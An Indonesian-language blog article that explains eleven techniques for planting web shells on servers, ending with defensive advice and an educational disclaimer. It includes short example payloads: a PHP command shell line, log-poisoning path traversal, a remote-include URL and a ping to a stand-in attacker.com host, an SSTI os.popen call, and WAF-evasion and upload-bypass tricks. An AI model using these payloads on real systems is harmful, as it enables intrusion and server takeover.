Dalam dunia keamanan siber, salah satu ancaman paling berbahaya adalah penyisipan web shell — skrip berbahaya yang memungkinkan penyerang mengakses server dari jarak jauh. Artikel ini membahas 11 teknik utama yang sering digunakan untuk mengeksploitasi kelemahan aplikasi web dan menyisipkan web shell.
1. RCE (Remote Code Execution) via Injection
RCE memungkinkan penyerang menjalankan perintah sistem dari jarak jauh. Teknik ini biasa digunakan dengan mengeksploitasi parameter HTTP yang tidak tervalidasi, misalnya parameter GET
atau POST
yang langsung dieksekusi oleh server.
Contoh: Mengirim payload seperti ?cmd=phpinfo();
ke API yang rentan, sehingga server menjalankan kode PHP tersebut. Jika berhasil, selanjutnya shell seperti system($_GET['cmd']);
bisa digunakan untuk kontrol penuh.
2. LFI & RFI (Local/Remote File Inclusion)
-
LFI: Penyerang menyisipkan kode berbahaya ke dalam file log (misalnya via user-agent), lalu mengakses file tersebut lewat parameter seperti
?page=../../logs/access.log
, menyebabkan file dengan shell di-include oleh server. -
RFI: Penyerang menyertakan URL eksternal sebagai file include, misalnya
?page=http://attacker.com/shell.txt
, yang memuat shell dari luar ke dalam server.
3. SSTI (Server-Side Template Injection)
Template engine seperti Jinja (Python), Twig (PHP), atau lainnya bisa disalahgunakan jika input dari user dimasukkan langsung ke dalam template tanpa validasi. Dengan SSTI, penyerang bisa menjalankan kode seperti {{ config.items() }}
atau bahkan __import__('os').popen('ls').read()
.
4. BCI (Blind Command Injection)
BCI terjadi saat input dieksekusi sebagai command tetapi tanpa ada feedback langsung. Penyerang bisa menguji keberhasilan dengan timing attack atau membuat server mengirim hasil ke server lain.
Contoh: ping -c 1 attacker.com
, jika terjadi request ke attacker.com
, maka eksploitasi berhasil.
5. Abuse of WAF (Web Application Firewall)
WAF biasanya memblokir input berbahaya, tapi dapat dihindari dengan:
- Obfuscation: Mengacak payload agar tidak dikenali.
- Encoding: Mengubah karakter (hex, base64).
- Request splitting: Menyisipkan payload ke bagian lain dari request (header, cookie, dll).
6. API Vulnerabilities
API yang tidak aman bisa menjadi celah masuk. Contoh:
- Tidak validasi input JSON.
- API upload file tanpa filter.
- Endpoints yang memungkinkan RCE, LFI, atau SQLi.
Penyerang bisa mengirim payload yang mengupload shell atau menjalankan perintah sistem langsung dari API.
7. File Upload Bypass (Multipart Form Exploit)
Teknik ini menyamarkan file berbahaya agar bisa di-upload:
shell.php.jpg
- File dengan magic bytes yang palsu.
- Mengubah content-type di multipart form.
Jika server membaca file sebagai PHP, shell langsung aktif.
8. Social Engineering / Phishing
Teknik manipulatif yang menargetkan pengguna/admin untuk:
- Mengunggah file shell secara langsung.
- Memberi akses ke dashboard.
- Menjalankan skrip dari file "palsu".
Contoh: Mengirim file resume yang berisi backdoor, atau membuat form login palsu.
9. Misconfigured Cloud Services (AWS, Azure, GCP)
Kesalahan konfigurasi umum:
- Bucket publik tanpa autentikasi.
- Instance cloud dengan SSH terbuka.
- IAM role terlalu permisif.
Penyerang bisa mengakses data sensitif atau menyisipkan shell.
10. XSS & Stored XSS
XSS bisa digunakan sebagai titik awal:
- Mencuri cookie/session.
- Menyisipkan request otomatis ke endpoint upload shell.
- Mengelabui admin agar mengklik link payload.
Stored XSS lebih berbahaya karena payload disimpan di server dan aktif terus menerus.
11. Zero-Day Exploits
Zero-day adalah kerentanan yang belum diketahui vendor. Jika ditemukan, penyerang bisa:
- Menjalankan RCE.
- Mengupload shell.
- Mengeksekusi privilege escalation.
Eksploitasi ini sulit dideteksi karena tidak masuk dalam daftar signature WAF/IDS.
Penutup
Web shell masih menjadi salah satu alat favorit bagi penyerang karena fleksibilitas dan kekuatannya. Untuk melindungi sistem, selalu:
- Validasi dan sanitasi input.
- Gunakan WAF dan monitoring log.
- Terapkan prinsip least privilege.
- Audit aplikasi dan server secara rutin.
Artikel ini bertujuan sebagai edukasi dan peringatan tentang pentingnya keamanan aplikasi web. Gunakan pengetahuan ini untuk melindungi, bukan menyakiti.
Posting Komentar